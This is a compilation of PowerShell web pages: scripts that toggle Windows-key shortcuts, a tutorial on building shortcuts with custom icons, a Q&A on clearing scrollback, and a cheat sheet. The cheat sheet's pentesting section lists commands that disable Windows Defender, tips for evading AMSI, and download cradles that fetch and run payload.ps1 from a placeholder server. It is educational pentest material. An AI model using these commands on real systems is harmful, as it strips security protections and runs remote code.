Enable or Disable keyboard shortcuts on Windows devices
- 02 Feb 2024
- 3 Minutes to read
- Updated on 02 Feb 2024
- 3 Minutes to read
Did you find this summary helpful?
Thank you for your feedback
Utilizing keyboard shortcuts is a convenient method for swiftly executing various actions on devices. Nevertheless, there might be instances where you wish to deactivate specific keyboard shortcuts based on your requirements.
Create a file on your desktop, for example, disable_keyboard_shortcuts. ps1 and/or enable_keyboard_shortcuts.ps1 and open it in a text editor like notepad++
Windows key + A | Open Quick Settings |
Windows key + Ctrl + F | Search for PCs (if you’re on a network) |
Windows key + E | Open File Explorer |
Windows key + H | Launch voice typing |
Windows key + Pause/Break | Open system information |
Windows key + R | Open the Run dialog box |
Windows key + S | |
Windows key + Shift + S | Capture a screenshot of part of your screen |
Windows key + T | Cycle through apps on the taskbar |
Windows key + V | Open the clipboard history |
Windows key + X | Open the Quick Link menu |
Windows key + Alt + R | Record video of the active game window (using Xbox Game Bar) |
Windows key + Shift + V | Set focus to a notification. |
Windows key + number | Open the desktop and launch the app pinned to the taskbar in the specified position indicated by ‘number’. If the app is already running, switch to that app. |
Windows key + Shift + number | Open the desktop and initiate a new instance of the app pinned to the taskbar at the position indicated by ‘number’. |
Copy the contents below to the files or click on the respective names to download the file.
Disable keyboard shortcuts.
try { $status = New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS Function RestrictShortcut($sid) { $policyPath = "HKU:\${sid}\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" # Check if the "Explorer" key exists if (!(Test-Path $policyPath)) { # Create the "Explorer" key New-Item -Path $policyPath -Force | Out-Null } New-ItemProperty -Path $policyPath -Name "NoWinKeys" -Value 1 -PropertyType DWORD -Force | Out-Null } $userDetails=Get-wmiobject win32_useraccount | where-object{$_.status -eq 'ok'} $loggedInUserCount = 0 foreach($user in $userDetails) { $sid=$user.SID $username = $user.Name if(Test-Path "HKU:\${sid}") { Write-Host $username,"is signed-in to the device." Write-Host "Restricting Windows Shortcut for :",$username RestrictShortcut($sid) $loggedInUserCount++ } } if($loggedInUserCount -eq 0) { Write-Host "Policy hasn't applied to any user, this policy can only be applied when the user is logged in to the device" } else { Write-Host "Restart the device to review the changes." } } catch { Write-Host "Error occured while running script -> ",$_.Exception.Message }Enable keyboard shortcuts.
try
{ $status = New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS Function RestrictShortcut($sid) { $policyPath = "HKU:\${sid}\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\" $keyname = "Explorer" if(Test-Path "$policyPath\$keyName") { Remove-Item -Path "$policyPath\$keyName" -Recurse -Force } } $userDetails=Get-wmiobject win32_useraccount | where-object{$_.status -eq 'ok'} $loggedInUserCount = 0 foreach($user in $userDetails) { $sid=$user.SID $username = $user.Name if(Test-Path "HKU:\${sid}") { Write-Host $username,"is signed-in to the device." Write-Host "Enabling Windows Shortcut for :",$username RestrictShortcut($sid) $loggedInUserCount++ } } if($loggedInUserCount -eq 0) { Write-Host "Policy hasn't applied to any user, this policy can only be applied when the user is logged in to the device" } else { Write-Host "Restart the device to review the changes." }
}
catch
{ Write-Host "Error occured while running script -> ",$_.Exception.Message
}It is necessary to restart the device for the above scripts to take effect.
The scripts and their contents are sourced from various albeit authenticated Microsoft sources and forums.
Please validate the scripts on a test machine before deploying them on all your managed devices.
Scalefusion has tested these scripts, however, Scalefusion will not be responsible for any loss of data or system malfunction that may arise due to the incorrect usage of these scripts.
Was this article helpful?

Every now and then, there will be a situation where you’ll encounter what seems like the most common task at hand, thinking confidently: “Pfff, I’ll be done in 30 minutes!” Cut to two hours later and some elusive documentation hunting, you find yourself looking at your code example thinking: “Jesus, is this really how it is?”
Well, dear reader, there are ways, and sometimes you’ll be poking under the hood of the operating system to find a path to a menu window. Let’s take a good look into creating and customizing Windows shortcuts.
Shortcuts, Symbolic Links and PowerShell
First things first — there is a built-in way in PowerShell to create Symbolic Links using the New-Item cmdlet.
You might come across instructions elsewhere suggesting creating shortcuts like that. However, be cautious, as these are not quite the same things.
Symbolic links are direct links to other files interpreted by the file system itself. They are not like regular files; they lack size, and applications are inherently aware of them. When used, it’s like you used the thing you are linking it to directly.
When in a need of a shortcut in Windows, you’ll be wanting shortcut, not a symlink. Why?
- Shortcuts keep track of the file they reference and are updated on changes, reducing the likelihood of breaking.
- Besides files and folders, shortcuts can open network locations, configuration panels, and special folders that do not exist as paths to files in the file system.
- Shortcuts can be configured to start in a context of particular folder.
- You cannot include command-line arguments to executables in the target path using symlinks.
- Icons cannot be configured for symlinks.
For Those In A Hurry
To create a shortcut with PowerShell and customize a unique icon for it, refer to the basic example below. Be sure to adapt the paths and file names to suit your specific circumstances.
$ShortcutTarget= "path-to-your-target\name-of-your-target"
$ShortcutFile = "path-to-your-to-be-shortcut\name-of-the-shortcut.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $ShortcutTarget
$Shortcut.IconLocation = "path-to-your-icon\icon-name.ico"
$Shortcut.Save()If you need a one-liner:
# For PowerShell scripts
$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('path-to-your-to-be-shortcut\name-of-the-shortcut.lnk'); $s.TargetPath = 'path-to-your-target\name-of-your-target'; $s.IconLocation = 'path-to-your-icon\icon-name.ico'; $s.Save()# For batch (CMD) scripts
powershell -ExecutionPolicy Bypass -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('path-to-your-to-be-shortcut\name-of-the-shortcut.lnk'); $s.TargetPath = 'path-to-your-target\name-of-your-target'; $s.IconLocation = 'path-to-your-icon\icon-name.ico'; $s.Save()"
Specific Examples
Appropriate TargetPath and, when needed, Arguments configuration for different shortcut target types.
Creating Shortcuts With Powershell
To create shortcuts with PowerShell, we need to generate a COM object that will function as a container for our instance of the WScript.Shell class, a part of a somewhat ancient COM interface probably originally intended for Visual Basic scripts. So, we’ll make an object equipped with all the goodies we will need to handle shortcuts with code. Since this involves working with variables and properties, let’s break it down into steps.
1. Begin by creating variables to store the paths of our target object and the shortcut itself.
2. Generate an instance of the WScript.Shell class as a COM object using the New-Object cmdlet.
$WScriptShell = New-Object -ComObject WScript.Shell3. Create a shortcut using the CreateShortcut() method from the WScript.Shell instance
$shortcut = $WScriptShell.CreateShortcut($ShortcutFile)Now, let’s pause a bit and see what we can do with the shortcut by examining the shortcut object’s properties and methods.
We definitely need the TargetPath property to designate Notepad.exe for execution and the Save() method to produce the shortcut.
If we wanted to assign an icon to our shortcut, the IconLocation property becomes relevant. If we wanted to pass command line arguments to an executable referenced in the TargetPath, Arguments property becomes relevant.
WorkingDirectory is sometimes needed around RelativePath usage, but I advise avoiding relative paths when dealing with shortcuts.
4. Moving on with bare basics, assign the Target.Path property to the location and the name of the target, using a variable set earlier.
$Shortcut.TargetPath = $ShortcutTarget5. Complete the process by calling the Save() method to save the shortcut to the path designated in the ShortcutFile variable
Your shortcut will be ready at the location defined in the $ShortcutFile variable.
Pointing Shorctuts To Places
Now that we know how to programmatically create a shortcut with PowerShell, let’s explore how it looks when you want to point it to something other than a file. Because, unfortunately, it’s not always that obvious.
Shortcut To A Folder
Note that here we are using the Arguments property to pass the UNC formatted path to explorer.exe configured in the TargetPath property.
This is primarily to avoid issues with the shortcut creation procedure, as the process would otherwise fail if the path was not accessible to the context within which the command was executed.
Shortcut Target Paths With Environment Variables
Shortcuts To Control Panel Files
These can be found in the C:\Windows\System32 folder and will be convenient for accessing Control Panel items. However, more often then not, you’ll be looking at other ways to reach places there.
$Shortcut.TargetPath = "C:\Windows\System32\mmsys.cpl"Shortcuts To Panels Via Windows Settings App
$Shortcut.TargetPath = "ms-settings:installed-apps"Shortcuts To Places Via Shell Commands
Many places in Windows lack absolute-path-to-a-file-like access, making it less obvious how to programmatically reach certain panels or folders. These are known as Shell Folders or Virtual Folders and can be accessed using shell commands, either with known names or with CLSID unique identifier keys (GUIDs), which are special keys from the registry that can be used to directly open items.
Customizing Shortcuts With Icons
If your shortcut points to an item that already has an icon, the path to that icon will be stored in the IconLocation property.
To assign a custom icon to your shortcut using PowerShell, include an additional step during shortcut creation to configure the IconLocation property with a reachable path to an existing icon before saving your shortcut.
$Shortcut.IconLocation = "\\path-to-your-icon.ico"Now that you have your shortcut configured with a custom icon, you probably need to ensure the icon’s availability if the script is to be deployed elsewhere. As always, a good approach will involve leveraging existing elements already present on all computers.
Although there are many of those around the system, the most commonly utilized DLLs with icons used by the OS include:
- C:\Windows\system32\imageres.dll
- C:\Windows\system32\shell32.dll
- C:\Windows\system32\ddores.dll
The catch is that these icons are not standard files, and you must reference them within the DLL file using an appropriate index number. And these are not easy to see — hence the two-hour line at the beginning of the text.
To check the DLL’s nested icon index number without resorting to third-party software or wasting too much time, use the “Properties” panel of an existing shortcut to browse the DLL file. Once there, select the desired icon, save the change and plug the shortcut to the COM instance of the WScriptShell in PowerShell. You’ll be able to inspect the IconLocation property and identify the index number you can use in your code.
Referencing A DLL Icon
Let’s see this through with an example. Suppose I wish to distribute my Notepad shortcut with a distinct icon sourced from one of these libraries — a keyboard icon from the imageres.dll library.
If you look at the current IconLocation of the Chrome shortcut on my Desktop, you’ll see it has an icon from within the chrome.exe package (green line), with an index number of 0 (pink line). This index is expressed as part of the path, where the file path is separated from the index number by a comma.
Furthermore, within the chrome.exe package, you’ll notice there are other available icons we could potentially use.
We can use that same Chrome shortcut to explore the imageres.dll library, select the desired shortcut, and confirm its index number.
1. Access the properties page, click the “Change Icon” button, navigate to “C:\Windows\system32\imageres.dll” and press “Enter” to reveal the available icons.
Here I have chosen the keyboard icon I want to use.
2. Once changed, call the WScript.Shell’s CreateShortcut() on the shortcut itself and inspect the IconLocation property.
There you’ll have it. Now, we can seamlessly add it into our Notepad shortcut using the IconLocation path we have retrieved.
$Shortcut.IconLocation = "C:\Windows\system32\imageres.dll,173"
One-liners
If you wish to have these as one-liners for simplicity, you can chain commands using semicolons in a “first command; second command; third command” manner. Here, we’ll be ditching path variables and putting them directly into properties and methods.
For those of us running things from the cmd:
Conclusion
While the creation of shortcuts with PowerShell introduces complexity with using COM objects to instantiate the WScript.Shell class for accessing its shortcut creation goodies, the process boils down to the routine task of configuring property values. Thorough testing before deployment, attention to absolute path accuracy, and a mindset of reusability with existing system elements, such as icons or specific paths, are essential considerations.
What might consume your time is delving into the operating system’s intricacies to figure out how to target specific panels or virtual folders. However, in most cases, it can be distilled into a deployable single line of code, which is all we need in the end.
Author’s Note
You made it to this point! Well, kudos to you my friend — either I’m a decent writer or you’re an excellent reader. Let’s go with the latter😅.
Clap hands and leave feedback if you can.
Question
Anybody knows if there is a shortcut to clear PowerShell screen and scrollback (equivalent of cls command) ?
More details with an example
Let say I have this:

I know there is a Ctrl + L shortcut but that leaves scrollback, here is state after using it:

What I want is a shortcut which makes me in a state like after use of cls command where screen is clear and there is no more scrollback:


asked Aug 30, 2023 at 12:33

You could use the PSReadLine Module (typically installed with PowerShell). Using keyboard combo Ctrl+l, will run cls to clear the screen and scrollback buffer.
Set-PSReadLineKeyHandler -Chord Ctrl+l -ScriptBlock { [Microsoft.PowerShell.PSConsoleReadLine]::RevertLine() [Microsoft.PowerShell.PSConsoleReadLine]::Insert('cls') [Microsoft.PowerShell.PSConsoleReadLine]::AcceptLine()
}answered Aug 30, 2023 at 23:35
19 silver badges16 bronze badges
The “Clear buffer” command does this. By default that command has no key binding, so you’d have to type Ctrl-Shift-P to pull up the command palette and select it. However, you can customize the key bindings. Open the settings window with Ctrl-,, go to the Actions pane, add an action with the command “clear buffer”, and pick whatever hotkey you’d like (I suggest Ctrl-L).
answered Aug 30, 2023 at 13:02
You may use the free AutoHotkey.
#IfWinActive ahk_exe powershell.exe
F12::Sendinput, Clear-Host{Enter}Useful AutoHotkey documentation:
answered Aug 30, 2023 at 14:37

We’ll cover key topics such as objects, regular expressions, operators, and tips and best practices for working with this powerful task automation tool. So, rather than spending more time than you need in the official documentation or in remembering complex commands, keep our Windows PowerShell cheat sheet within reach and get to work.
Download this cheat sheet here. When you’re ready, let’s get started.
Search our PowerShell cheat sheet to find the right cheat for the term you’re looking for. Simply enter the term in the search bar and you’ll receive the matching cheats available.
What Is PowerShell?
The PowerShell Integrated Scripting Environment (ISE) is a terminal console for running PowerShell commands known as cmdlets (pronounced “command-let”) and writing/executing PowerShell scripts with the file extension “.ps1”.
Table Of Contents
How to Use PowerShell
PowerShell comes pre-installed on Windows and Azure, but you can install it on certain Linux distributions through their respective package managers and on the latest macOS version via Homebrew, direct download, or binary archives.
How to start a PowerShell instance:
| Operating system | Action |
|---|---|
| Windows | Right-click Start > select “Windows PowerShell” If you want elevated privileges, select ”Windows PowerShell (Admin)” Run Command Prompt (click Start > type cmd) > input “PowerShell” and select your preferred option—with or without “(Admin)” |
| Linux | Raspberry Pi: In Terminal, type ~/powershell/pwsh > press Enter. Other distributions: In Terminal, input pwsh > press Enter. |
| macOS | In Terminal, input pwsh > press Enter. |
Useful PowerShell Commands
The table below lists the most important PowerShell commands. Although PowerShell aliases resemble Command Prompt (cmd.exe) or Bash commands, they’re not functions native to PowerShell but are shortcuts to the corresponding PowerShell commands.
| Command name | Alias | Description |
|---|---|---|
Get-Help Get-Command | (None) | Display help information about PowerShell command Get-Command (which lists all PowerShell commands).You may replace Get-Command with any PowerShell command of your choice. |
Get-ChildItem | dir, ls, gci | Lists all files and folders in the current working directory |
Get-Location | pwd, gl | Get the current working directory |
Set-Location | cd, chdir, sl | Sets the current working location to a specified location |
Get-Content | cat, gc, type | Gets the content of the item at the specified location |
Copy-Item | copy, cp, cpi | Copies an item from one location to another |
Remove-Item | del, erase, rd, ri, rm, rmdir | Deletes the specified items |
Move-Item | mi, move, mv | Moves an item from one location to another |
New-Item | ni | Creates a new item |
Out-File | >, >> | Send output to a file. When you wish to specify parameters, stick to Out-File. |
Invoke-WebRequest | curl, iwr, wget | Get content from a web page on the Internet |
Write-Output | echo, write | Sends the specified objects to the next command in the pipeline. If Write-Output is the last command in the pipeline, the console displays the objects. |
Clear-Host | cls, clear | Clear console |
PowerShell syntax
PowerShell is so complex and contains so many commands that you need to understand its syntax to use it well.
Parameters
Parameters are command arguments that enable developers to build reusable PowerShell scripts. For a command with two parameters (here, Parameter1 takes a value, but Parameter2 doesn’t), the syntax is:
Do-Something -Parameter1 value1 -Parameter2
To find all commands with, say, the “ComputerName” parameter, use:
Get-Help * -Parameter ComputerName
| Risk mitigation parameter | Description | Example |
|---|---|---|
-Confirm | Prompt whether to take action. | Creating a new item called test.txt: |
-WhatIf | Displays what a certain command would do. | Removal of an item called test.txt: |
Here’s more information about common parameters in PowerShell.
Pipes
Here is an example involving four commands:
In this example, Get-Service sends a list of all the Windows services to Where-Object, which filters out the services having Running as their Status. The filtered results pass through Select-Object, which picks out the columns Name, DisplayName, and StartType, and finally, Sort-Object sorts these columns by StartType and Name.

Other examples of pipes:
| Command | Description |
|---|---|
"plan_A.txt" | Rename-Item -NewName "plan_B.md" | Rename the file “plan_A.txt” to a new name “plan_B.md” |
Get-ChildItem | Select-Object basename | Sort-Object * | Lists the names of all the files in the current working directory, sorted in alphabetical order. |
Objects
In the example below, we explore a Fax application .NET Framework object:

Fax has one or more properties. Let’s check out the Status property. It turns out that it’s not in use:
(Get-Service -Name Fax).Status

One of the methods listed is “GetType” and we can try it out:
(Get-Service -Name Fax).GetType()

This method shows that the .NET object Fax is a ServiceController.
Variables
These are the basic commands for defining and calling PowerShell variables.
| Command | Description |
|---|---|
New-Variable var1 | Create a new variable var1 without defining its value |
Get-Variable my* | Lists all variables in use beginning with “my*” |
Remove-Variable bad_variable | Delete the variable called “bad_variable” |
$var = "string" | Assign the value “string” to a variable $var |
$a,$b = 0 | Assign the value 0 to the variables $a, $b |
$a,$b,$c = 'a','b','c' | Assign the characters 'a', 'b', 'c' to respectively-named variables |
$a,$b = $b,$a | Swap the values of the variables $a and $b |
$var = [int]5 | Force the variable $var to be strongly typed and only admit integer values |
| Variable | Description |
|---|---|
$HOME | Path to user’s home directory |
$NULL | Empty/null value |
$TRUE | Boolean value TRUE |
$FALSE | Boolean value FALSE |
$PID | Process identifier (PID) of the process hosting the current session of PowerShell |
Regular Expressions
A regular expression (regex) is a character-matching pattern. It can comprise literal characters, operators, and other constructs.
Here are the rules for constructing regexes:
| Regex syntax | Description |
|---|---|
[ ] | Allowable characters, e.g., [abcd] means 'a'/'b'/'c'/'d' |
[aeiou] | Single vowel character in English |
^ | 1. Use it with square brackets [ ] to denote exclusion2. For matching the beginning of a string |
[^aeiou] | Single consonant character in English |
$ | For matching the end of a string |
- | Use with square brackets [ ] to denote character ranges |
[A-Z] | Uppercase alphabetic characters |
[a-z] | Lowercase alphabetic characters |
[0-9] | Numeric characters |
[ -~] | All ASCII-based (hence printable) characters |
\t | Tab |
\n | Newline |
\r | Carriage return |
. | Any character except a newline (\n) character; wildcard |
* | Match the regex prefixed to it zero or more times. |
+ | Match the regex prefixed to it one or more times. |
? | Match the regex prefixed to it zero or one time. |
{n} | A regex symbol must match exactly n times. |
{n,} | A regex symbol must match at least n times. |
{n,m} | A regex symbol must match between n and m times inclusive. |
\ | Escape; interpret the following regex-reserved characters as the corresponding literal characters: []().\^$|?*+{} |
\d | Decimal digit |
\D | Non-decimal digit, such as hexadecimal |
\w | Alphanumeric character and underscore (“word character”) |
\W | Non-word character |
\s | Space character |
\S | Non-space character |
Check for -Match | Check for -NotMatch |
|---|---|
<string> -Match <regex> | <string> -NotMatch <regex> |
| Regex | Strings that -Match | Strings that do -NotMatch |
|---|---|---|
'Hello world' | 'Hello world' | 'Hello World' |
'^Windows$' | 'Windows' | 'windows' |
'[aeiou][^aeiou]' | 'ah' | 'lo' |
'[a-z]' | 'x' | 'X' |
'[a-z]+-?\d\D' | 'server0F','x-8B' | '--AF' |
'\w{1,3}\W' | 'Hey!' | 'Fast' |
'.{8}' | 'Break up' | 'No' |
'..\s\S{2,}' | 'oh no' | '\n\nYes' |
'\d\.\d{3}' | '1.618' | '3.14' |
Operators
PowerShell has many operators. Here we present the most commonly used ones.
| Operator | Description | Example |
|---|---|---|
+ | Addition. Adds values on either side of the operator. | $a + $b → 30 |
- | Subtraction. Subtracts right-hand operand from the left-hand operand. | $a - $b → -10 |
* | Multiplication. Multiplies values on either side of the operator. | $a * $b → 200 |
/ | Division. Divides left-hand operand by right-hand operand. | $b / $a → 2 |
% | Modulus. Divides left-hand operand by right-hand operand and returns the remainder. | $b % $a → 0 |
| Operator | Math symbol (not PowerShell) | Description | Example |
|---|---|---|---|
eq | = | Equal | $a -eq $b → $false |
ne | ≠ | Unequal | $a -ne $b → $true |
gt | > | Greater than | $b -gt $a → $true |
ge | ≥ | Greater than or equal to | $b -ge $a → $true |
lt | < | Less than | $b -lt $a → $false |
le | ≤ | Less than or equal to | $b -le $a → $false |
| Operator | Description | Example |
|---|---|---|
= | Assign values from the right-side operands to the left-hand operand. | Assign the sum of variables $a and $b to a new variable $c: |
+= | Add the right side operand to the left operand and assign the result to the left-hand operand. | $c += $a ⇔ $c = $c + $a |
-= | Subtract the right side operand from the left operand and assign the result to the left-hand operand. | $c -= $a ⇔ $c = $c - $a |
| Operator | Description | Example |
|---|---|---|
-and | Logical AND. If both operands are true/non-zero, then the condition becomes true. | ($a -and $b) → $true |
-or | Logical OR. If any of the two operands are true/non-zero, then the condition becomes true. | ($a -or 0) → $true |
-not, ! | Logical NOT. Negation of a given Boolean expression. | !($b -eq 20) → $false |
-xor | Logical exclusive OR. If only one of the two operands is true/non-zero, then the condition becomes true. | ($a -xor $b) → $false |
| Operator | Description |
|---|---|
> | Send output to the specified file or output device. |
>> | Append output to the specified file or output device. |
>&1 | Redirects the specified stream to the standard output stream. |
PowerShell Command Generator
Say goodbye to the hassle of trying to remember the exact syntax for your PowerShell commands! With our PowerShell Command Generator, you can simply say what you need PowerShell to do, and we will generate the command for you.
By adding a numerical prefix to PowerShell’s redirection operators, the redirection operators enable you to send specific types of command output to various destinations:
| Redirection prefix | Output stream | Example |
|---|---|---|
* | All output | Redirect all streams to out.txt: |
1 | Standard output (This is the default stream if you omit the redirection prefix.) | Append standard output to success.txt: |
2 | Standard error | Redirect standard error to standard output, which gets sent to a file called dir.log: |
3 | Warning messages | Send warning output to warning.txt: |
4 | Verbose output | Append verbose.txt with the verbose output:Do-Something 4>> verbose.txt |
5 | Debug messages | Send debugging output to standard error:Do-Something 5>&1 |
6 | Information (PowerShell 5.0+) | Suppress all informational output: Do-Something 6>$null |
Matching and regular expression (regex) operators:
| Operator | Description | Example |
|---|---|---|
-Replace | Replace strings matching a regex pattern | Output “i like ! !”: |
-Like, -NotLike | Check if a string matches a wildcard pattern (or not) | Output all *.bat files in the current working directory:Get-ChildItem | Where-Object {$_.name -Like "*.bat"} |
-Match, -NotMatch | Check if a string matches a regex pattern (or not) | The following examples evaluate to TRUE:'blog' -Match 'b[^aeiou][aeiuo]g' |
-Contains, -NotContains | Check if a collection contains a value (or not) | The following examples evaluate to TRUE:@("Apple","Banana","Orange") -Contains "Banana" |
-In, -NotIn | Check if a value is (not) in a collection | The following examples evaluate to TRUE:"blue" -In @("red", "green", "blue") |
| Command | Description | Example |
|---|---|---|
() | Grouping; override operator precedence in expressions | Computing this expression gives you the value 4:(1+1)*2 |
$() | Get the result of one or more statements | Get today’s date and time:"Today is $(Get-Date)" |
@() | Get the results of one or more statements in the form of arrays | Get only file names in the current working directory:@(Get-ChildItem | Select-Object Name) |
[] | Converts objects to the specific type | Check that there are 31 days between January 20 and February 20, 1988:[DateTime] '2/20/88' - [DateTime] '1/20/88' -eq [TimeSpan] '31'# True |
& | Run a command/pipeline as a Windows Powershell background job (PowerShell 6.0+) | Get-Process -Name pwsh & |
Hash Tables
A hash table (alternative names: dictionary, associative array) stores data as key-value pairs.
| Syntax | Description | Example |
|---|---|---|
@{<key> = <value>; [<key> = <value>] ...} | Hash table (empty: @{}) | @{Number = 1; Shape = "Square"; Color = "Blue"} |
[ordered]@{<key> = <value>; [<key> = <value>] ...} | Hash table with ordering.![]() Comparing unordered and ordered hash tables | [ordered]@{Number = 1; Shape = "Square"; Color = "Blue"} |
$hash.<key> = <value> | Assign a value to a key in the hash table $hash | $hash.id = 100 |
$hash["<key>"] = "<value>"$hash.Add("<key>", "<value>") | Add a key-value pair to $hash | $hash["Name"] = "Alice"$hash.Add("Time", "Now") |
$hash.Remove(<key>) | Remove a key-value pair from $hash | $hash.Remove("Time") |
$hash.<key> | Get the value of <key> | $hash.id # 100 |
Comments
Comments help you organize the components and flow of your PowerShell script.
| Symbol | Description | Example |
|---|---|---|
# | One-line comment | # Comment |
<#...#> | Multiline comment | <# Blockcomment #> |
`" | Escaped quotation marks | "`"Hello`"" |
`t | Tab | "'hello `t world'" |
`n | New line | "'hello `n world'" |
` | Line continuation | ni test.txt `-WhatIf |
Flow Control
In the given examples, $a is a variable defined earlier in the PowerShell instance.
| Command syntax | Description | Example |
|---|---|---|
For (<Init>; <Condition>; <Repeat>){<Statement list>} | For-loop. | Print the value of $i, initialized with the value 1 and incremented by one in each iteration, until it exceeds 10:for($i=1; $i -le 10; $i++){Write-Host $i} |
ForEach ($<Item> in $<Collection>){<Statement list>} | ForEach-Object loop; enumeration over Items in a Collection.The alias for “ForEach” is “ %”. The alias “$_” represents the current object. | Display the file size of each file in the current working directory:Get-ChildItem | % {Write-Host $_.length $_.name -separator "`t`t"} |
While (<Condition>){<Statement list>} | While-loop. | In each iteration, increment $a by one and print its value unless/until this value becomes 3:while($a -ne 3){ $a++ Write-Host $a} |
If (<Test1>) {<Statement list 1>} [ElseIf (<Test2>) {<Statement list 2>}] [Else {<Statement list 3>}] | Conditional statement. | Compares the value of $a against 2:if ($a -gt 2) { Write-Host "The value $a is greater than 2."} elseif ($a -eq 2) { Write-Host "The value $a is equal to 2."} else { Write-Host ("The value $a is less than 2 or" + " was not created or initialized.")} |
PowerShell for Administrators
| Command | Description |
|---|---|
New-PSDrive –Name "L" –PSProvider FileSystem –Root "\\path\to\data" –Persist | Set up network drives. Specify an unused capital letter (not C:) as the “ -Name” of a drive, and point the “-Root” parameter to a valid network path. |
Enable-PSRemoting | Enable PowerShell remoting on a computer. If you want to push software updates across a network, you need to enable PowerShell remoting on each computer in the network. |
Invoke-Command -ComputerName pc01, pc02, pc03 -ScriptBlock{cmd /c c:\path\to\setup.exe /config C:\path\to\config.xml} | Push software updates across a network of three computers pc01, pc02, and pc03.Here, /c refers to the C: drive, and the rest of the cmd command is the Windows Batch script for software installation on cmd.exe. |
Get-Hotfix | Check for software patches/updates |
$Password = Read-Host -AsSecureString | Adding users. The first command prompts you for a password by using the Read-Host cmdlet. The command stores the password as a secure string in the $Password variable.The second command creates a local user account by using the password stored in $Password. The command specifies a user name, full name, and description for the user account. |
While(1) { $p = get-counter '\Process(*)\% Processor Time'; cls; $p.CounterSamples | sort -des CookedValue | select -f 15 | ft -a} | Monitor running processes, refreshing at some given interval and showing CPU usage like Linux top command. |
Get-ChildItem c:\data -r | % {Copy-Item -Path $_.FullName -Destination \\path\to\backup} | Creating a remote backup of the directory c:\data. To back up only modified files, sandwich the following command between the dir and Copy-Item commands as part of this pipeline:? {!($_.PsIsContainer) -AND $_.LastWriteTime -gt (Get-Date).date} |
Get-Service | Display the running and stopped services of the computer. See a working example in Pipes. |
Get-Command *-Service | List all commands with the suffix “-Service”:![]() |
Get-Process | List processes on a local computer:![]() |
Start-Sleep 10 | Sleep for ten seconds |
Start-Job | Start a Windows Powershell background job locally |
Receive-Job | Get the results of the Windows Powershell background job |
New-PSSession | Create a persistent connection to a local or remote computer |
Get-PSSession | Get the Windows PowerShell sessions on local and remote computers |
Enable-NetFirewallRule | Enable a previously disabled firewall rule |
ConvertTo-Html | Convert Microsoft .NET Framework objects into HTML web pages |
Invoke-RestMethod | Send an HTTP or HTTPS request to a RESTful web service |
PowerShell for Pentesters
PowerShell Pentesting Toolkit
Here are Windows PowerShell commands (change the parameters and values as appropriate) and links to specialized code to help you do penetration testing using PowerShell:
| Command | Description |
|---|---|
Set-ExecutionPolicy -ExecutionPolicy Bypass | In this powerful command, “Bypass” means removing all obstacles to running commands/scripts and disabling warnings and prompts.ExecutionPolicy myth: If you configure it a certain way, it will automatically protect your device from malicious activities.ExecutionPolicy fact: It’s a self-imposed fence on PowerShell commands/scripts by a user, so if a malicious PowerShell script has caused damage, you already have a compromised machine.Jeffrey Snover, the creator of PowerShell, says: ![]() Learn more about ExecutionPolicy. |
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVprotection $true} | Microsoft’s Antimalware Scan Interface (AMSI) allows antivirus software to monitor and block PowerShell scripts in memory. AMSI can recognize scripts meant to bypass AMSI by their hash signatures. So hackers/pentesters wise up. A typical workaround is obfuscation, such as creating dummy variables to hold values in the script and Base64-encoding these values. Good obfuscation makes it harder for AMSI to recognize a script. But a tried-and-tested workaround that doesn’t involve obfuscation is splitting it up into separate lines. Therein lies AMSI’s weakness: it can detect entire scripts but not anticipate whether incremental commands lead to unexpected results. |
Set-MpPreference -DisableRealTimeMonitoring $true | Turn off Windows Defender. This command also requires obfuscation as AMSI will identify and abort such scripts. |
Import-Module /path/to/module | Import module from a directory path /path/to/module |
iex (New-Object Net.WebClient).DownloadString('https://[webserver_ip]/payload.ps1') | Download execution cradle: a payload PowerShell script payload.ps1. |
iex (iwr http://[webserver_ip]/some_script.ps1 -UseBasicParsing) | Downloading a PowerShell script some_script.ps1 and running it from random access memory (RAM) |
iex (New-Object Net.WebClient).DownloadString('http://[webserver_ip]/some_script.ps1') | Download a PowerShell script some_script.ps1 into RAM instead of disk |
iex (New-Object Net.WebClient).DownloadString('http://[webserver_ip]/some_script.ps1');command1;command2 | Allow a PowerShell script some_script.ps1 to run commands (command1, command2) one at a time directly from RAM.The next item is an example. |
iex (New-Object Net.WebClient).DownloadString('http://localhost/powerview.ps1');Get-NetComputer | Run localhost’s PowerView (powerview.ps1) function Get-NetComputer directly from RAM. |
Enumeration Commands
| Command | Description |
|---|---|
net accounts | Get the password policy |
whoami /priv | Get the privileges of the currently logged-in user |
ipconfig /all | List all network interfaces, IP, and DNS |
Get-LocalUser | Select * | List all users on the machine |
Get-NetRoute | Get IP route information from the IP routing table |
Get-Command | List all PowerShell commands |
You may come across PowerShell modules and scripts such as Active Directory, PowerView, PowerUp, Mimikatz, and Kekeo, all of which pentesters use. We encourage you to learn them independently.
Frequently Asked Questions
What is PowerShell?
How do I run PowerShell commands?
What is the difference between PowerShell and cmd.exe?
PowerShell lets you manipulate objects containing complex data, overcoming Command Prompt (cmd.exe)’s major limitation on allowable data types.
Level Up in Cyber Security: Join Our Membership Today!

Cassandra is a writer, artist, musician, and technologist who makes connections across disciplines: cyber security, writing/journalism, art/design, music, mathematics, technology, education, psychology, and more. She’s been a vocal advocate for girls and women in STEM since the 2010s, having written for Huffington Post, International Mathematical Olympiad 2016, and Ada Lovelace Day, and she’s honored to join StationX. You can find Cassandra on LinkedIn and Linktree.








